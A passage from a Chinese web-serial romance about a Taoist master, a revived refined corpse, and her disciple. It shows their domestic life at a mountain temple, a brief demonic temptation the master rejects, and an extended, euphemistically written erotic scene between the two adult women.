傅清微把耳朵贴在了她的左心房,一片空寂。最开始她听她空荡的胸腔会害怕,因为它不会传来回应,习惯了以后闭上眼睛,就像听山里的星星和银河,宇宙没有声音,但宇宙始终在那里,包罗万象,浩瀚无垠。 那是她的心。 傅清微听得见了,宇宙会回应她。 穆若水低头看着她头顶乌黑的发旋,五指捏了捏她的后颈,傅清微痒得缩了缩脖子,又往她怀里蹭了一点。 穆若水搂住她的后腰,干脆将被子拉了上来。 “陪我睡会儿觉。” “怎么又睡?” “为师困了。” 傅清微嘟囔了一声刚睡醒没多久,便窝在女人的怀里沉沉睡了过去。 穆若水一直看着她的脸,用目光描摹过她五官每一个细节,直到自己也睡去。 * 住院的这几天,傅清微问过穆若水红线是什么?为什么当时她会躺在林子里,身上都是红线。 穆若水三言两语糊弄过去。 并非她故意隐瞒傅清微,问完一个还有一个问题,如果红线是不能杀人的禁制,为什么她的血却可以使红线安分下来。她对穆若水来说浑身是宝的体质已经够迷惑了,再来个疑问,穆若水怕她的小脑瓜会想炸。 本来就爱脑补,别给她提供更多的脑补信息,东想西想的,又多愁善感,注意力都从她身上转移了。 穆若水可以下地了。 傅清微立刻提出了出院申请。 灵管局不仅放了人,还专程派了辆车送二人回去。 傅清微离开的时候去看了趟占英,情况不好不坏,一直没醒。岁已寒不在,回局里忙公事去了。 蓬莱山脚。 连叶片都没有变黄一个度,仿佛是走时的样子,傅清微却恍如离开了很久。 舒适的商务车停在树林前,戴着黑色口罩的穆若水在后面下车,为了不让灵管局的人看出端倪,傅清微控制住了去扶她的冲动。 有灵管局的人在,穆若水自觉不必当工具人,吩咐道:“把后备箱的东西给我搬上山。” 办事专员:“是。” 后备箱不仅有行李,还有她们俩接下来一周的食材,傅清微走之前去超市采购的。 她正愁师尊没法搬东西,她们怎么运上去,穆若水一句话就解了她们的燃眉之急。 还得是顾问。 傅清微拎着猫咪航空箱,灵管局的干事扛着大包小包,穆若水一身广袖,仙鹤风度,闲庭信步地往山上走。 她即使用不出术法,也比凡人的体质强得多,走到道观后院门口,一滴汗也没有出。 干事放下东西,气喘如牛,说:“穆,顾问,我先,回去了。” 穆若水摆了摆手。 干事在一百米以外的林子里歇了两分钟,几个呼吸之后背影消失在了下山的路上。 傅清微一直目送那个人离开。 穆若水:“你在看什么?你对他有感情?” 傅清微:“师尊你要不要听听自己在说什么。” “我说错了吗?你看了他三分钟,没感情也要看出感情了。” “我那是为了看他什么时候能彻底走远,这样山上就只有我们两个人了。”傅清微的脚踝被小三花拱了一下,低头说,“还有两只猫。” 穆若水不置一词,伸手推开了院门。 吱呀—— 被小狸花守着的家维持着原来的样子,左边是厨房和穆若水从来不住的房间,一条走廊连通了左右,右手边是书房和傅清微的卧室,以及很少打开的杂物间。 黑墙白瓦的古色古香建筑融合了现代化,山里引来的清泉水在绕屋而建的竹管里流动,竹椅一两把摆在遮雨的屋檐下,平时供小三花和小狸花小憩。 傅清微离开家前,晒了一筐干辣椒忘记收,当时怕下雨差点跑一半回来了,穆若水跟她说一筐辣椒而已,回来再摘,菜园里多的是。 没错,她们有一个小菜园,主要是穆若水在打理。 就在道观去密林结界的路上,有一块被开垦出来又荒废了的菜地,穆若水重新收拾了出来,种一些辣椒、大蒜、小葱这样的基础作物,如果不是常常下山出任务,她们俩应该能慢慢过上自给自足的生活,蔬菜自己种,偶尔下山买点米和肉,不需要一周一次进城。 山里还有野味,穆若水本想撸起袖子大显身手,傅清微这个经历了现代教育的女大双手交叉说:“拒食野味,保护野生动物。” 穆若水:“……” 爱吃不吃,又不是自己吃饭。 穆若水还会钓鱼,当然她现在懒得抓蚯蚓钓,连下水都不下,鱼直接从湖里跳出来一头撞倒在她面前。 穆若水拎着野生鲫鱼回家,炖了一锅奶白的鲫鱼汤。 傅清微中午喝汤的时候简直鲜掉眉毛。 穆若水冷哼:“野生的,你还喝。” 傅清微能屈能伸,端着空碗说:“再来一碗吧师尊,求求你了,我什么都会做的。” 以上的琐碎日常都是她们从忙碌的任务生涯里挤出来的温情片段,这次回山以后,傅清微不打算再给灵管局卖命了,她要把这些变成她们俩生活的常态。 她虽然不会做饭,但可以学着一起种菜,过田园牧歌的山野生活。 说回辣椒,夏季雨水多,傅清微已经做好回来辣椒都被淋坏的打算,没想到院子里的辣椒好端端地摆在屋檐下通风,自己学会避雨了。 辣椒当然不会自己躲雨,只可能是猫猫大王干的。 小狸花不亲人,傅清微很少不顾她的意愿强行抱她,今天例外。 “是不是你收了辣椒啊?怎么这么乖啊?”傅清微一把将小狸花捞过来,熟悉的夹子音响了起来。 “辣椒那么辣,有没有被辣到?让我看看小牙。” “待会给你开个罐罐吃,呜呜呜太聪明了。” 穆若水见她一心和狸花说话,提起行李箱过门槛,推回了傅清微的卧室,靠在墙边。 出来就听到傅清微明目张胆拉踩小三花:“不像你的姐姐,整天除了吃就是捣乱。” 穆若水:“喂。” 孩子还在呢。 小三花听不懂一点人话,见卧室的门开了就要吃罐罐,追着自己的尾巴绕穆若水的脚打转。 傅清微抬头:“没事,孩子傻。” 穆若水蹲下来,双手捂住小三花的耳朵:“别听,是恶评。” 傅清微哈哈笑出声。 小狸花挣脱傅清微的怀抱跳了下来,一溜烟跑没影了,才不理会人类。 穆若水回屋给小三花开罐头。 傅清微在一边收拾行李,听她用勺挖罐头装盘的声音,说:“师尊,你是不是有点太溺爱小猫了?” “它只是一只小猫。” “我也只是一只小猫。”傅清微半开玩笑道,“你还记得我刚把她带回来你嫌弃的样子吗?我真的要吃醋了。” “不记得了。”穆若水认真地说,“但猫和你,我选你。” “……” 傅清微不能说没有被安慰到,但是和猫一起比本就不是什么很值得高兴的事。 虽然猫猫驯服人类是理所当然的事,可她被驯服得也太彻底了,一点都不像观主的为人处世。 自己都是花了好一段时间才和她拉近距离。 傅清微突发奇想:“会不会你上辈子养过猫?” 穆若水脸色微沉,道:“你一定要什么事都联想到虚无缥缈的前世吗?” 傅清微立刻说:“对不起。” 她不明白师尊为什么突然生气,小心翼翼地看着她。 穆若水问:“我的前世对你来说很重要吗?” 傅清微摇头。 穆若水换了个问题:“你对你自己的上辈子感兴趣吗?” 傅清微果断摇头。 穆若水:“为什么一直要问我?强人所难,你明知我不记得。” 傅清微着急解释:“我没有,我就是随口一说。我吃醋昏头了,找个借口安慰一下自己。” 穆若水冷漠:“你明知道不是。” 傅清微哑然。 比起穆若水将生前死后分割得一清二楚,傅清微显然持不同观点。轮回是转世,可炼尸不是。再像轮回她也不是轮回,在傅清微心里她是有过去的,只是她忘了。 同样的容貌、同样的灵魂,沉睡了一段时间,怎么就是不同的人呢? 所以她希望能窥见她过往的痕迹,捕捉旧时的风采,哪怕一丝一毫也好,潜意识出言试探。 穆若水:“我不喜欢这样。” 傅清微:“对不起,下次不会了。” 小三花吃罐头的啪嗒啪嗒声缓和了屋子里僵硬的气氛。 穆若水走过来,弯腰将手落在她的头顶,柔声说:“好了,我也有错。” 傅清微抬头看她,果然眼圈微红。 穆若水以前凶她她都不会这么情绪化,今时不同往日。 穆若水蹲下来,两只手拇指拂过她眼睑下方,说:“真成水做的了,省着点留到床上。” 傅清微:“……” 欺负现在是白天,她不敢反击。 穆若水熟练的打岔让傅清微忘记了不愉快的小插曲,屋外的辣椒还没有收,穆若水去收了,走进了厨房。 傅清微边打扫房间边反思自己。 师尊明显不愿意再和炼尸之前的生活有牵扯,她已经有新的人生,自己总是提起来,确实是一己私欲,强人所难。她要好好过现在的日子,和师尊一起。 穆若水对着锅里沸腾的水出了好一会儿神。 穆若水伸出自己的双手,袖子拉到光洁的手腕上方,那里的皮肤如玉,皓腕凝白,只要她动一动念头,红线就会从她的身体里浮现。 如果傅清微就是设下红线禁制的人,只要她死了,世上就再无人可阻她。 你就再也不用受红线的折磨,处处掣肘,痛不欲生。 一个声音在脑海里悠悠地说。 穆若水放下袖子,平淡地在脑海反击:“滚回去。” 那个声音立刻消失了,缩回她的识海。 麻天德的木屋确实有魔的踪迹,麻天德死后,穆若水身受重伤,他身边强大的魔气进入她的身体企图侵蚀她,然而挑错了时机,被红线绞得尸骨无存,现在就剩虚弱的一缕,只能吹一吹耳边风了。 她跟岁已寒这么快的达成合作,不是魔族快要找上她,而是已经来了。 只是不知道幕后之人什么时候会正式露面。 穆若水用瓢舀去锅里的水,扎起衣袖开始备菜,砧板上传出笃笃笃的切菜声。 一直传出屋外。 傅清微的身影从院子里经过,朝里面忙碌的背影扬声说道:“师尊,我去择几根葱回来。” 穆若水说:“去吧。” 傅清微踏着夕阳回来,手里抓着一把细葱,在院子里洗了,迫不及待地跑进厨房。 她回来得刚刚好,穆若水刚炒完菜出锅,就等这一把葱花增香。 傅清微把葱切了撒上去,完成最后一道工序,两人共同做好了一顿晚餐。 傅清微回到山里,小别胜新婚,吃饭的时候嘴巴从来没这么热闹过,说的都是将来的规划,又是种菜又是养鸡的,走地鸡,还能下土鸡蛋,以后鸡蛋也不用买。 说到兴起处,放下筷子给她比划,打算明天写个计划书给她详阅。 穆若水托腮认真地听着,至少在此刻她们是安宁的。 她相信所有的风波都是人生的插曲,最后她们总会在一起。 穆若水:“菜都凉了,你可以以后慢慢告诉我,不用这么急。” 傅清微笑了笑,拾起筷子道:“我也不知道怎么了,就是想和你多说会话。”好像怕来不及了一样。 “会有很多时间的,不要着急。” “嗯。” 傅清微安静下来吃饭,压下莫名其妙的慌乱。 明明她们刚刚才回来,正要过上美好幸福的生活,而她也正在幸福里。 傅清微收拾了碗筷,从厨房走到正在藤椅里赏月的女人身边。 “师尊。” “嗯?” “你摸一摸我的心,它是不是跳得很快?” “是很快,也长大了。”穆若水抚着她的心口,从摸变揉,动作慢慢地变了味。 “……” “它好像跳得更快了。”穆若水看着她认真道。 “我和你说正经的!” “我难道做的不是正事?” 傅清微腿软地从她怀里出来,说:“我不和你说了。”只会做些弄得她脸红心跳的事。 穆若水收回手,自藤椅里起身,背手道:“为师去洗澡了。” 傅清微回房给她拿睡衣。 穆若水说:“你也洗干净点,我回来要尝的。” 第119章 一句话让傅清微闹了个大红脸。 眼下虽天色已晚, 夜深人静,连两只猫猫都不在观里,去门口并肩看星星去了。 但傅清微是那种你强我弱的性子, 自从穆若水越来越口无遮拦之后, 她肆无忌惮的嚣张气焰无形中湮灭, 只能当个默默脸红的年轻女大。 她的脸红了红,又红了红, 一个字也说不出。 穆若水笑道:“我同你开玩笑的。” 傅清微马上不害羞了, 反驳道:“这种事怎么能开玩笑呢。” “什么事?” “你回来要尝我这件事。”傅清微理直气壮。 “现在你又说得出口了。” 穆若水目光揶揄。 傅清微声音又小了下去:“你尝不尝嘛。” 穆若水笑着说:“看心情。” 女人背身施施然地离开了,因为暂时飞不了, 所以傅清微看了她的背影很久, 直到月色尽头。 她这才悄声嘟囔了一句:“实在不行我尝你也行。” 到现在她都只亲了师尊的脖子和耳朵,亲热的时候只有自己一个人脱衣服。 没有不喜欢,还有一种一本正经被上的刺激感, 可是次次这样, 她也想毫无阻隔地抱一抱她。 想知道师尊会不会和自己一样有感觉。 傅清微来到了白雾缭绕的淡绿色温泉池旁,在一棵树不远的地方瞧见了穆若水泡池的身影,雪白的双肩, 背部有一条性感的脊柱沟,在水下若隐若现。 对勤于健身的傅清微来说,后背的沟和前面的沟不分上下的性感。 傅清微毫无关联地想到了人鱼—— 一种看似美丽其实是海底无与伦比的凶兽。 穆若水耳聪目明,听到脚步声的一瞬间转了过来, 明知道是傅清微,她转身的过程控制了一下, 才让自己的神情镇定自若, 看起来没有半分紧张。 奇怪,先前故意在温泉勾引她的时候她能波澜不惊, 现在不过被看到一些,她竟然慌得差点以为自己有心跳。 傅清微连前面也看到了一部分。 她收回一样性感的话,前面更性感。 怪不得她每次埋深了都被闷得无法喘气,好大,虽然只是半圆。 穆若水自然地往水深处走了两步,半圆也看不到了。 “你怎么来了?”穆若水看着她意犹未尽直勾勾的眼神,在心里骂了一句不中听的。 “我,我……” 傅清微满脑子她走动时带起的奶白余波,反应了好一会儿才偏过脸,人为冷静道:“我想师尊了,就过来看看。” “好看吗?” “好看。” “看完了吗?” “看、看完了。” “看完了就回去。”穆若水冷道。 “是,师尊。” 傅清微听出她真的恼怒,连脸都没敢转过来,直直地一溜烟跑走了。 师尊竟然没说挖了她的眼睛,她好爱她。 穆若水再次把身体沉进水里,百思不得其解自己生气的理由,她反复回忆傅清微看向她的颇为露骨的眼神,得出了一个结论:她不喜欢。 她喜欢傅清微目光亮晶晶地看她,崇拜、喜欢、爱慕都好,而不是带上情欲的色彩。 用人间流行的话说:她可以和傅清微搞涩涩,但希望傅清微和她搞纯爱。 穆若水:“……” 大约是欲对她而言掺杂了很多杂念,亲近、安抚、疗伤……甚至逃避喜欢。情不同,她想从傅清微那里得到纯粹的爱。 傅清微如果知道她是怎么想的,一定会表达我不理解。 她的欲都是源于喜欢,越爱才越想和她做。 穆若水泡够了时辰,比平时又多泡了会儿才从池子里出来,上了岸,她指诀一掐,想起一件事—— 她现在用不了术法。 完了,不能速干。 甚至衣服都不会自己飞过来。 穆若水事先还习惯和从前一样把睡衣放在很远的地方。 “……” 不幸中的万幸,她把傅清微赶走了,否则她为人师表的脸面都要丢尽了。 穆若水是怎么在月色下走到石头边,用旧袍子勉强擦干身子,又穿上睡衣的,此处一笔带过。 穆若水一把湿发浸在身后,往下淌水,刚换的新睡衣背后湿了一片,她自从醒来以后,就再也不当人了,一朝恢复凡人身躯,简直处处都是拖累。 傅清微掐准时辰打完了坐,刚在院门口等了会儿,便见穆若水湿淋淋地从林子里走过来,乌发衬着未干的脸庞,白皙透亮,犹带水珠。 过腰的墨发垂在身后,湿漉漉地浸湿了半边衣物,几绺贴在她细腻如瓷的雪颈里。 荒野深山,夜间的清雾弥漫在林子里。 她像志怪小说里山林走出来勾人的野狐仙,吸食精气。 隔着十几步远,傅清微的心神都被她勾走了。 她定了定心,在几步的距离迎上去,闻着她身上愈发馥郁的返魂香,问道:“师尊怎么弄成这样?” 穆若水脸色奇差:“术法暂时用不了。” 傅清微马上说:“是我太大意了,我的错,没有及时提醒师尊。” 穆若水:“算了,你也不是故意的。” 傅清微牵起她的手往门里走,温柔地说:“我去给你拿身新睡衣,再帮你把头发吹了,好吗?” 穆若水嫌麻烦,但也没有别的办法,闷闷地嗯了一声。 穆若水在卧室里站着,傅清微从衣柜里给她拿了身干净的真丝睡衣,让她进卫生间换。 卫生间的灯亮了以后,她自己目不斜视地找了个拖线板,一直把电源连到院子里,插上吹风机。 穆若水出来后在卧室没找到她,自然地走进庭院,清风从脸庞拂过。 傅清微连藤椅都摆好了,一手拿着吹风机,一手作请,说:“请让徒儿为师尊吹头发。” 穆若水挑了挑眉,在藤椅坐下。 头顶就是繁星,虫鸣声响在道观外的山林里,静谧舒适。 傅清微在她左近俯身问:“这样师尊心情会好些吗?” 穆若水已经快阖眼享受夜风了,懒声道:“你惯会哄我开心。” “这是徒儿的本分。” 穆若水不知为何并不高兴这个答案。 傅清微接着说:“我只哄你一个人开心。” 穆若水牵了牵唇角。 傅清微弯腰用唇在她唇角碰了碰。 一轮明月之下。 傅清微用毛巾给她轻柔地擦第一遍,吸去多余的水珠,不时柔声问道:“这个力道可以吗?会不会疼?” 穆若水说:“你用刀砍我我都不会疼,随便你怎么弄,不疼。” 傅清微停下来,说:“我不喜欢你这样。” 穆若水睁开眼,不解:“我什么样了?你胆子愈发大了。” 傅清微斗胆也要说:“我不喜欢你对自己无所谓的样子。” “我真的不疼,你非要我把自己当个脆弱的瓷器瓶子吗?”穆若水也怒了,吹个头发这么多事,早知道不吹了。 “那我亲你的时候你会感觉舒服吗?” “……”穆若水气焰低下去,说,“你怎么突然提这个?” “同样都是感觉,没道理舒服的你有感觉,痛的你没有,你的大脑只是把痛觉屏蔽了而已,不代表不会痛。” “感觉不到不就是不痛?” “可是我想让你感受自己,也感受我。”傅清微在她面前半蹲下来,温柔看着她征询她的意见,“好吗?” “……” 穆若水说:“你好麻烦。” 傅清微把脸贴在她的腿上。 穆若水顿了顿,又说:“仅此一次。” 傅清微重新走到她身边给她吹头发,女人的青丝很长,虽然发质柔顺可是洗过澡以后她懒得打理,傅清微只能边吹边一点点地给她梳理,会有打结带动发根的情况。 穆若水轻轻地“嘶”了一声。 傅清微:“怎么?是疼吗?” 穆若水没好气:“疼,行了吧?” 傅清微笑笑:“那我再轻一点,乖。” 穆若水心想:怎么说话呢?你以下犯上。 放开了所有感觉以后,不仅连痛觉都敏感到像豌豆公主十几层垫子下的豌豆,牵一发而动全身,舒适感也成倍的增加。傅清微修长的手指灵巧地穿插在她的发丝间,不冷不热的风一点点蒸发水分。 有规律的声音响在耳边,像是催眠曲,令人昏昏欲睡。 她每一次手指穿过浓密的乌发,微微地牵动发根,让穆若水有种怪异的感觉。 她想睡,但因为这种奇异又上头的酥麻感让她毫无困意。 她不会动的心脏在面对傅清微时总有一种心跳的错觉。 其实……做人也不错。 仅限今晚,此刻。 吹风机的声音停了,像魔法一样撩拨穆若水心弦的手也收了回去,傅清微去收拾吹风机和电源线进房间,出来见穆若水仍舒展地躺在藤椅里,轻轻地摇晃,双目轻阖。 ……好像贤者时间了似的,莫名的满足。 “?” 傅清微走到近前,穆若水睁开眼睛,说:“上来。” 傅清微爬上女人的藤椅,直接躺到她身上。 穆若水啧一声:“你倒是不见外。” 傅清微下巴搁在她的胸口,仰着小脸看她道:“你都把我里里外外瞧过了,我见什么外?” 穆若水瞧了瞧天上的月亮。 不愧是入夜的傅清微。 穆若水伸手取下她的发绳,套在自己的手腕,傅清微散下来的一头冰凉发丝被她捞进手里,探入指尖,五指浅浅地梳理,带动敏感的发根,神经末梢将快感传入大脑。 她想知道刚刚奇怪的感觉是什么,所以在傅清微身上做实验。 被她玩头发的傅清微起初困惑不解,过了会儿脸慢慢红起来,心跳也在加速,张嘴想要来吻她。 穆若水避开了。 “想干吗?” “想……师尊亲我。” 傅清微被她玩得身子都软了,双手撑在扶手上自己往前抵了抵,如愿地咬住了女人柔软芳香的唇,醉心不已地含吮。 穆若水摸着她的头发,浅浅地和她接吻。 一个温柔漫长的吻,并未深入,她不进一步,手又一直在撩拨她,傅清微忍无可忍地把她的手从自己的长发里拉开,说:“你干吗?” “没干吗。”穆若水面不改色说,“试试你喜不喜欢。” “喜欢。” 傅清微红着脸低声说:“但是你一直这样,我会很想……要,你又不给我。” 穆若水的一侧眉梢高高地挑起来。 “想要?” 接下来的话傅清微趴在她耳边说的,床笫间的下流话。 穆若水听着她的言语,心想原来自己刚刚的感觉就是傅清微一直在体会的那些。 她以为自己这副死了的身体不会有欲望呢,兴许也是有的。 但她目前还是希望傅清微和她搞纯爱。 满足傅清微的事让她来就好了。 …… 穆若水和傅清微在藤椅里窝了一会儿,有一搭没一搭地赏月聊天。 反正夜很长,明天醒来的白昼也很长。 她们不用急于一时的行乐。 期间小三花跳上藤椅,在傅清微的后背和穆若水的肩膀各踩了一脚,两人分别一声低哼,相视一笑。 月亮升上中天,山林的虫鸣声都渐渐悄悄。 穆若水低头,噙住了怀里年轻女人的唇,傅清微两条胳膊慵懒地挂上她的脖子。 穆若水从藤椅里起身,一面接吻一面将她横抱回了卧室,庭院里遗落一双鞋子。 小三花跟在两人脚后,穆若水一脚将它拦在屋外,关上了房门。? 小三花茫然地蹲在门口。 对面厨房檐下的小狸花冲它抬了抬黄澄澄的瞳仁,又慢慢地合上睡了。 傅清微低头瞧见小三花孤单的小脑袋被关在门外,说:“你怎么不让她进来?” 她在外面躺久了,差点睡着,脑子里没想接下来的事。 穆若水说:“你要睡了?” 傅清微忽然沉默。 穆若水轻轻地笑一声,把她抱到床上,说:“我都行,我这就去放它进来。” 傅清微拉住她,目光执拗。 穆若水顺势亲了亲她的手,说:“乖,我是去关灯。” 她现在是个普通人类,不能远程操控。 傅清微嘟囔:“早知道装个小恨同学。” “你什么同学?” “没有同学,我说智能家居。” “你想装的话我让人重新装修。”穆若水关了灯走回来,坐在床边看她。 她越来越不急着从她那里索取,只是看着她就感到满足。 可她看得见,傅清微关灯后眼前就一片黑暗了,一道黑影坐在床沿,无论如何也浪漫不起来。 “师尊,你躺下来吧。” “哦,好。” 穆若水躺在她身边,又开始亲她的手,手背亲到手腕,顺着腕节一直亲到光滑的小臂,不带多少情欲。 只是喜欢,所以亲近。 傅清微自然能察觉到她的心情,侧躺着面对面道:“我们这样很像在谈恋爱。” 穆若水亲吻她的动作一顿,放下衣袖,没有说话。 傅清微枕着自己的手臂,凑她的脸近一些,说:“师尊,你的情根真的没有长出来吗?还是你分不清对我是不是喜欢?” 穆若水堵住了她的嘴。 傅清微唔了一声捧住她的脸,在接吻的交锋中不时占据上风。 她今天穿的是带纽扣的睡衣,穆若水的指尖落到第二颗扣子,解开探入。 两军对垒的场面急转直下。 傅清微微微蹙着眉,在女人越来越深的亲吻中节节败退,不得不松开唇喘气。 “师尊……” “嗯?” “你有没有正面想过这个问题……嘶。” 穆若水轻轻地掐了她一下。 低头又在被掐的地方含了含,牙齿轻咬,瞧着她的眼睛。 傅清微的神智骤然抽离了一秒,挺起上身抱住她的脑袋。 再也不试图这时候和她讨论了。 穆若水轻车熟路地喂她吃了餐前点心,舔了舔散发甜香的草莓蛋糕塔,游上来吻她的唇。 傅清微的扣子仍系着几颗,袖子也好好地挂在她的身上。 穆若水不用说,总是衣着整齐,看不出她是一个那么过分的人。 傅清微曲了曲长腿,右手来到女人的腰间,试图触碰她衣摆里细腻紧致的腰线。 穆若水让她碰了一下,便制止了,将她的手按回了枕头上。 “明天白天。” “白天可以?” “嗯。” 白天可以,晚上却不行?这是什么道理? 这是穆若水的道理,不讲道理。 傅清微的两只手被交叉按在枕头上方,还是穆若水从她那里学来的,新时代的青年比她这位半古人花样多多了。 傅清微的喜欢都是她自己潜意识的投射,她对穆若水这一招毫无抵抗力。 穆若水一手按住她双手,偏头亲她耳朵,细细密密的湿吻落在耳颈,留下一个个湿漉漉的水痕。 傅清微喘得比刚才不遑多让。 穆若水忍不住笑了一声。 她应该主动多学习一点有关知识了,不能总是一味苦干。 “师尊……”停下来傅清微又不肯,娇声催促。 穆若水断断续续地亲她,手来到她的腰际,说:“抬起来一点。” 傅清微的腰悬空了一会儿,腰背重新贴回柔软的被衾。 她有些冷,也有些不自在,目光不敢看她。 第一次醒着这样。 九月份的山里夜晚空气带着凉意,四面八方侵袭过来,穆若水隔着自己的睡衣抱住了她,问:“冷吗?” “不冷。”傅清微被她完全裹在怀里,说,“师尊的身体很热。” 即便隔着衣物也有源源不断的热意传来,很暖和。 穆若水:“是为师的血热。” 傅清微感受着她的体温:“如果很热代表什么?现在算很热吗?” 穆若水:“算。” “待会会更热吗?” “会。”穆若水抿了抿唇。 “那我知道代表什么了。” 穆若水给她暖了好一会儿身子,暖得傅清微颈间微微出汗,她坐了起来,解下发带重新绑了长发。 傅清微看着她,她也看着傅清微,只是视线很低,从膝盖看过去。 “清微。” 傅清微便害羞地偏开脸去。 为什么要突然叫她名字啊?傅清微脸迅速地烧起来。 女人来到她两片唇前,经历了先前的点心和调情,即使未经太多触碰,它也变得湿红温软,自然地微启,似乎在等待暌违已久的一个吻。 穆若水俯身,将热气呼在上面。 傅清微两手攥住了手边的被子,唇瓣却诚实地张开呼吸,迎接她。 穆若水吻了下来。 傅清微的世界安静了。 没有烟花,没有闪电,没有绚烂的一切。 只是安静。 等她从漫长的安静里听见屋外微弱的虫鸣,女人鼻翼的热气仍打在她的唇瓣。 傅清微的眼泪滑进枕头里。 她也不知道自己为什么要哭,总之不是难过哭的。 穆若水停留了长久的时间,直至唇瓣沾上透明水痕,她似乎发现傅清微哭了,问:“你是不是哭了?” 她说话时的气息更多更密,扑洒过来。 傅清微想捂眼,说:“你不要问了。” 穆若水便细细地吻着她,啄着她,将她两片唇反复地含进嘴里,照顾到每一个地方,不时用舌尖来回滑过唇缝。 傅清微的手本来垂在身边,习惯了以后渐渐适应这种温和的享受。 好似水脉脉流过身体的舒适,泡温泉的松弛感。 她抬起手,重新落在女人的发顶,摸着她柔软小巧的耳朵。 不时用鼻音嗯出来的一声回应。 穆若水咽了一下喉咙。 这么一会儿的工夫她已经咽了好几次,傅清微实在是…… 很喜欢她。 穆若水亲了亲她,又吞咽了一次,慢慢地将吻往上移,寻找她不明显的唇珠。 这时嘴唇的作用便降低,要用到更灵活的舌尖。 傅清微的唇薄,哪里都薄,穆若水自下而上地寸寸吻过去,轻而易举地就找到了。 她唇瓣微抿,含了上去。 傅清微顺进她发丝里的指尖一顿,忽然一阵心悸般。 “师尊……” “嗯?”穆若水嘴里忙着,含混地回她。 “我……我……” 穆若水亲了上来,报以热吻,没再让她说出话。 她的舌尖钻了进去,尝到她内里的高温与热烈,瞬间昏了头。 她牵住傅清微落在身侧的另一只手,一边握紧她的指节,一边攻城略地。 傅清微只感觉得到她的舌头,其实单这感觉说不上太舒服。 师尊太冒进了,毫无技巧可言,舌尖探入探出,搜刮她的甘霖渴饮。 但就是在这种仅凭本能的亲近里,傅清微感受到了她对自己的痴迷。 于是她也感受到了快乐。 牵紧了对方的手。 穆若水热情的吻缠绕出水渍声,都被她卷入口中。 傅清微第一次听到,想捂住自己的耳朵,奈何两只手都没有空,只能被迫听着。 被迫被她亲得晃动。 傅清微又听到了清晰的吞咽声。 师尊她……她怎么能? 傅清微的脑海里已经出现了画面。 她的心悸感越来越强,女人挺翘的鼻尖抵着她,不时擦过被冷落的唇珠,也变得湿润。 傅清微的指节攥紧了穆若水的手,主动撞向她的唇齿,死死地咬紧她。 穆若水一动不动地由她咬着,直到她卸力,落回了床里。 穆若水的手托了一下她的腰,怕她跌得太急伤到自己。 穆若水退出舌尖,在她被自己蹂躏得不像样子的软红双唇亲了亲,低眸看了又看,留恋不已。 傅清微喘着气,心口剧烈起伏,意外的没有掉太多眼泪。 她布满水痕的唇颤抖翕动着,不停地开合,露出湿红柔嫩的内里。 穆若水:“你好像在挽留我。” 傅清微:“你不要像个Siri一样说话。” 穆若水诚实地说:“我还想亲。” 傅清微醒着和睡着的情况太不相同,她刚刚按住自己脑袋迎上来蹭她的唇舌的时候,让她的心差点又会跳了。 傅清微:“可以让我休息一会儿吗?” 穆若水说可以,然后把她捧起来,低下头轻轻地舔她。 “你休息吧,我不会乱来。” 傅清微:“……” 第120章 穆若水确实不乱来, 但她一直在。 似乎尝到什么珍馐美味似的,盛夏的冰激凌,舌尖轻轻地在上面舔着。 傅清微的两片薄唇被她舔得就没有干的时候, 永远都是湿和更湿。 她舔完一口, 舌尖熟练地卷去吞咽, 抽空抬头和她说了句:“你怎么不休息啊?” 又开始被她吻得轻轻颤抖的傅清微:“……” 傅清微:“你是不是以为自己很幽默?” 穆Siri:“我不理解你的意思。” 傅清微:“少装糊涂,闭嘴。” 她说完被自己吓了一跳, 吃了熊心豹子胆, 竟然敢这么对师尊说话。 穆若水果然闭上了嘴,含住她的唇珠。 虽然嘴巴闭上了, 可是舌头还在动, 这回真是乱来了。 舌尖抵着唇珠快速打转。 傅清微脑子跟着一片乱,尖锐的感觉汹涌,顺着她发丝的手落在她的脖子, 将她使劲往后带。 穆观主如今是个凡人, 被她这么一带竟然轻易带离了她的唇,唇瓣分离时啵的轻轻一声。 藕断丝连。 穆若水:“……” 傅清微:“……” 人是她拉开的,这会真分开了, 舍不得唇舌相依的暖热融融也是她。 所有的感觉戛然而止。 傅清微头皮发麻的心悸感得到缓解,她不由地舒了一口气,说:“我想休息一会儿。” 她两只手往前端住女人的下巴,阻止她又一次低头, 不防触到一片湿润。 “……” 穆若水当然不是哭了。 是有个人刚刚“哭”得太多,弄了她一下巴。 穆若水暂时鸣金收兵, 抱住了她的腰, 用脸来蹭她的脸。 傅清微的脸颊被她下巴蹭得有点湿,都是她自己的, 偏头躲避道:“不要。” “为什么不要?”穆若水捏住她的脸亲她,软软湿湿的唇碰过来,很热。 傅清微害羞得整个人快爆炸。 “清微。” 穆若水又开始用那种语气叫她。 害羞程度直达顶峰。 傅清微怀疑她不需要做什么,只要俯身贴着她的耳朵,这么叫她几声,她就能缴械投降。 这招她不常用,每次必能让傅清微心脏下坠,落入深海。 穆若水最终还是没有把舌尖探入她的唇齿,大约她自己也感到害羞,这种体验她也是第一次。 对于傅清微来说就更是了,书上这样说那样比喻,都不如亲身体验一回。 彻底一回就有点吃不消了,完全被主宰的失控感,脑子像在坐过山车,在宇宙里爆燃,无声但是绚烂。 她隔着衣物抱住穆若水滚烫的身体,穆若水双手环在她腰际,给她暖着逐渐降温的身子。 断断续续地亲着她的额头、鼻梁、唇角。 “休息好了吗?” 察觉到傅清微有快睡着的迹象,穆若水连忙出声打断了她的瞌睡。 “……好了。” “那我要亲你了。” “可以不用预告。” “这是你自己说的。” “……嗯。”傅清微确有困意,此刻的她还没有意识到自己答应了一件后果多么可怕的事。 穆若水一开始在亲她的脸,撩起发丝亲她的侧颈,她喜欢多温存一会儿,抬头却发现傅清微合着眼,不仔细看和睡着了没什么两样。 穆若水喊了她两声她才答应一声,朦胧道:“怎么了?结束了吗?” 这对心高气傲的穆观主来说简直是奇耻大辱。 好在傅清微反应极快:“对不起,我刚刚做了个梦,梦见你亲完了。” 穆若水阴森道:“你要不要听听看自己在说什么?” 傅清微欲哭无泪。 她是真的困了。 大家都说心满意足之后就是容易困啊,师尊还在这磨蹭,她睡着不是很正常? 穆若水:“你的意思是让我快点亲?” 傅清微不吱声。 穆若水一把将她拉过来,来到自己面前,咬牙说:“我就不该让你休息。” 她低头吻了下来。 疾风骤雨一般,傅清微的唇珠被她撞得东倒西歪,所有的感官被瞬间引燃,集中于一点。 傅清微在几秒后就缺氧,大口呼吸根本喘不上来气。 可是穆若水的吻仍在继续,根本不给她呼吸的机会,她含吞搅弄着口中的猎物,贴得更紧,攻势更猛烈。 傅清微的鼻子和嘴巴都在喘,短促的氧气见缝插针地涌入胸肺,扭动着几乎被她逼疯。 